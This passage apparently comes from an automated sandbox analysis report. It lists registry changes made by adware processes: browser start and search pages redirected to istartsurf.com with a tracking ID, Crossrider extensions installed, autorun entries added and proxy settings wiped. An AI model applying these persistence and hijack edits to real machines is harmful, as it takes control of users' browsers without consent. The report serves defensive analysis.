"TimeStamp" = "1430092563"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}\Uojvoqeov]
"(Default)" = "YeDTsH^Fm`"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKCU\Software\Goobzo\YouTube Accelerator\AdditionalInfo]

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"Uojvoqeov"
"qvorsEtjxw"
"qvbbRNdMg"
"cgcdxuSksc"
"LdsE"
"fSXewhkfv"
"yxQHXfdfitoe"
"pxylOXnGwpXkz"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"jugyvwoEcjGw"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"sehlsRMuplph"
"wjxsvv"
"rffapxdttSchh"
"yEsrDTepOCs"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"hFLwn"
"DxOl"
"FdUXjkIpvn"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"qPacydvhduuR"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"MNEMOyZJWG"
"omdjT"

[HKU\.DEFAULT\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCR\Wow6432Node\CLSID\{52988E8B-7806-3101-0E6E-1189876F2078}]
"uqmpybcjdI"
"pseKcc"

The process ProtectService.exe:4080 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 04 00 00 00 09 00 00 00 00 00 00 00"

Proxy settings are disabled:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKU\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"
"AutoConfigURL"
"ProxyServer"

The process ProtectService.exe:4064 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 48 00 00 00 09 00 00 00 00 00 00 00"

[HKLM\SOFTWARE\Wow6432Node\IHProtect]
"ptid" = "smt"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"
"ProxyServer"
"ProxyOverride"
"AutoDetect"

The process Vbrgnmfwi.exe:2612 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\AppDataLow\Software\Crossrider]
"Bic" = "d5d8d8a61601751d467a5854a16ce35aIE"

[HKLM\SOFTWARE\Wow6432Node\Tempo]
"(Default)" = "tempo"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"DisplayName" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"CrAppId" = "70121"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Verifier" = "e9d6e2e9e6a34b6d6a4be51af1aeacc2"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"Publisher" = "Webby"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\21836\Status]
"Installed" = "1"

[HKLM\SOFTWARE\Wow6432Node\iWebar\Installer]
"BundledFirefox" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "B8 A7 B9 8C 7C 80 D0 01"

[HKLM\SOFTWARE\Wow6432Node\InstalledBrowserExtensions\21836]
"70121" = "iWebar"

[HKCU\Software\InstalledBrowserExtensions\21836\Status]
"Installed" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\AppDataLow\Software\Crossrider]
"Verifier" = "e9d6e2e9e6a34b6d6a4be51af1aeacc2"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"UninstallString" = "%Program Files% (x86)\iWebar\Uninstall.exe /fcp=1"

"DisplayIcon" = "%Program Files% (x86)\iWebar\utils.exe"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecision" = "0"
"WpadDecisionTime" = "7A D0 F1 8F 7C 80 D0 01"

[HKLM\SOFTWARE\Wow6432Node\AppDataLow\Software\Crossrider]
"Bic" = "d5d8d8a61601751d467a5854a16ce35aIE"

[HKLM\SOFTWARE\InstalledBrowserExtensions\21836\Status]
"Installed" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\iWebar]
"DisplayVersion" = "1.36.01.22"
"CrPublisherId" = "21836"

[HKCU\Software\InstalledBrowserExtensions\21836]
"70121" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 54 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadNetworkName" = "Network 4"

[HKLM\SOFTWARE\InstalledBrowserExtensions\21836]
"70121" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\InstalledBrowserExtensions\Webby]
"70121" = "iWebar"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecisionReason" = "1"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following registry key(s):

[HKLM\SOFTWARE\Wow6432Node\Tempo]

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process YouTubeAccelerator.exe:2388 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Goobzo\YouTube Accelerator]
"UiResVer" = "1000008"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 73 A4 44 A3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecisionTime" = "CB 8B 7B 8E 7C 80 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "0C 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "B8 A7 B9 8C 7C 80 D0 01"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceFolder" = "C:\Users\Public\Documents\GOOBZO\YouTube Accelerator\Log\"

[HKCU\Software\Goobzo\YouTube Accelerator]
"CommTestBootNeeded" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 52 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"
"TimeLimit" = "1"
"TimeStamp" = "1430092562"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadNetworkName" = "Network 4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Run]
"GOOBZOYouTubeAccelerator" = "%Program Files% (x86)\YouTube Accelerator\YouTubeAccelerator.exe /startup"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoDetect"
"ProxyOverride"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Goobzo\YouTube Accelerator]
"ShowTrayMessage"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process wpm_v20.0.0.2227.exe:3716 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Wow6432Node\supWindowsMangerProtect]
"ptid" = "smt"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process biclient.exe:2144 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "25 CC 85 1E BF 72 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"ID" = "1337851866"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadNetworkName" = "Network 4"
"WpadDecisionTime" = "CD 86 0F 5E 7C 80 D0 01"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecisionReason" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 43 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDecision" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecision" = "0"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\DirectDraw\MostRecentApplication]
"Name" = "biclient.exe"

To automatically run itself each time Windows is booted, the Application adds the following link to its file to the system registry autorun key:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\RunOnce]
"premium_downloader" = ""

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\{AAB62F56-1F12-4B3C-A0EE-A1324874AB51}]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process QQBrowser.exe:3628 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"
"UNCAsIntranet" = "0"

The Application deletes the following value(s) in system registry:

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

The process QQBrowser.exe:2636 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Mozilla\Extends]
"AppID" = "[email protected]"

[HKCU\Software\Classes\Local Settings\MuiCache\2C\52C64B7E\@""%windir%\System32]
"ie4uinit.exe"",-738" = "Start Internet Explorer without ActiveX controls or browser extensions."

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Search Page" = "http://www.istartsurf.com/web/?type=ds&ts=1430092522&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.istartsurf.com/web/?type=ds&ts=1430092522&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"Publisher" = "istartsurf찀盅u"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Search_URL" = "http://www.istartsurf.com/web/?type=ds&ts=1430092522&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\FIREFOX.EXE\shell\open\command]
"(Default)" = "%Program Files% (x86)\Mozilla Firefox\firefox.exe http://www.istartsurf.com/?type=sc&ts=1430092522&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "istartsurf"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.istartsurf.com/web/?type=ds&ts=1430092522&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKLM\SOFTWARE\Wow6432Node\istartsurfSoftware\istartsurfhp]
"oem" = "smt"
"Time" = "Type: REG_QWORD, Length: 8"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Start Page" = "http://www.istartsurf.com/?type=hp&ts=1430092522&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Search_URL" = "http://www.istartsurf.com/web/?type=ds&ts=1430092522&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Classes\Local Settings\MuiCache\2C\52C64B7E]
"LanguageList" = "en-US, en"

[HKCU\Software\Classes\Local Settings\MuiCache\2C\52C64B7E\@""%systemroot%\system32\windowspowershell\v1.0]
"powershell.exe"",-111" = "Performs object-based (command-line) functions"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN]
"Default_Page_URL" = "http://www.istartsurf.com/?type=hp&ts=1430092522&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Clients\StartMenuInternet\VMWAREHOSTOPEN.EXE\shell\open\command]
"(Default)" = "%Program Files%\VMware\VMware Tools\VMwareHostOpen.exe http://www.istartsurf.com/?type=sc&ts=1430092522&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Clients\StartMenuInternet\Google Chrome\shell\open\command]
"(Default)" = "%Program Files% (x86)\Google\Chrome\Application\chrome.exe http://www.istartsurf.com/?type=sc&ts=1430092522&from=smt&uid=535559167_198339_B48A115F"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Clients\StartMenuInternet\IEXPLORE.EXE\shell\open\command]
"(Default)" = "%Program Files%\Internet Explorer\iexplore.exe http://www.istartsurf.com/?type=sc&ts=1430092522&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"DisplayIcon" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe㬀璭u"

[HKCU\Software\Microsoft\Internet Explorer\TabbedBrowsing]
"NewTabPageShow" = "1"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.istartsurf.com/?type=hp&ts=1430092522&from=smt&uid=535559167_198339_B48A115F"
"Search Page" = "http://www.istartsurf.com/web/?type=ds&ts=1430092522&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.istartsurf.com/?type=hp&ts=1430092522&from=smt&uid=535559167_198339_B48A115F"

[HKCU\Software\Mozilla\Extends]
"UID" = "535559167_198339_B48A115F"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"URL" = "http://www.istartsurf.com/web/?type=ds&ts=1430092522&from=smt&uid=535559167_198339_B48A115F&q={searchTerms}"
"DisplayName" = "istartsurf"

[HKCU\Software\Microsoft\Internet Explorer\Main]
"Start Page" = "http://www.istartsurf.com/?type=hp&ts=1430092522&from=smt&uid=535559167_198339_B48A115F"

[HKCU\Software\Mozilla\Extends]
"ptid" = "smt"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes]
"DefaultScope" = "{33BB0A4E-99AF-4226-BDF6-49120163DE86}"

[HKLM\SOFTWARE\Microsoft\Internet Explorer\Main]
"Default_Page_URL" = "http://www.istartsurf.com/?type=hp&ts=1430092522&from=smt&uid=535559167_198339_B48A115F"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"DisplayName" = "istartsurf uninstall"

[HKLM\SOFTWARE\Wow6432Node\Mozilla\Firefox\Extensions]
"[email protected]" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\Mozilla\Firefox\Profiles\zwvbr04l.default\extensions\[email protected]"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\istartsurf uninstall]
"UninstallString" = "C:\Users\"%CurrentUserName%"\AppData\Roaming\istartsurf\UninstallManager.exe -ptid=smt"

[HKCU\Software\Microsoft\Internet Explorer\SearchScopes\{33BB0A4E-99AF-4226-BDF6-49120163DE86}]
"DisplayName" = "istartsurf"

The process testlsp.exe:3976 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"AutoDetect" = "1"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{03B3ED09D712B0615}" = "56 3E A8 0E 0B A2 A7 A6 41 06 53 98 73 A4 44 A3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\History]
"CachePrefix" = "Visited:"

[HKLM\SOFTWARE\Wow6432Node\Licenses]
"{I3B3ED09D712B0615}" = "14 00 00 00"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDetectedUrl" = ""

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "0"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionTime" = "7A D0 F1 8F 7C 80 D0 01"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TimeStamp" = "1430092563"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Content]
"CachePrefix" = ""

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceLevel" = "3"

"TimeLimit" = "1"
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections]
"SavedLegacySettings" = "46 00 00 00 55 00 00 00 09 00 00 00 00 00 00 00"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TracerDoBackup" = "1"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\5.0\Cache\Cookies]
"CachePrefix" = "Cookie:"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\RFC1156Agent\CurrentVersion\Parameters]
"TrapPollTimeMilliSecs" = "15000"

[HKCU\Software\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"
"TimeStamp" = "1430092562"
"TimeLimit" = "1"

[HKLM\SOFTWARE\Wow6432Node\Goobzo\YouTube Accelerator\Tracer]
"TraceDestination" = "3"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\Wpad\00-50-56-f5-e5-a3]
"WpadDecisionReason" = "1"
"WpadDecision" = "0"

Proxy settings are disabled:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyEnable" = "0"

The Application deletes the following value(s) in system registry:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"ProxyServer"
"ProxyOverride"
"AutoDetect"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"IntranetName"

[HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"ProxyBypass"
"IntranetName"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings]
"AutoConfigURL"

The process powershell.exe:1520 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2C\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:3548 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2C\52C64B7E]
"LanguageList" = "en-US, en"

The process powershell.exe:3864 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

[HKCU\Software\Classes\Local Settings\MuiCache\2C\52C64B7E]
"LanguageList" = "en-US, en"

The process setup.exe:3452 makes changes in the system registry.
The Application creates and/or sets the following values in system registry:

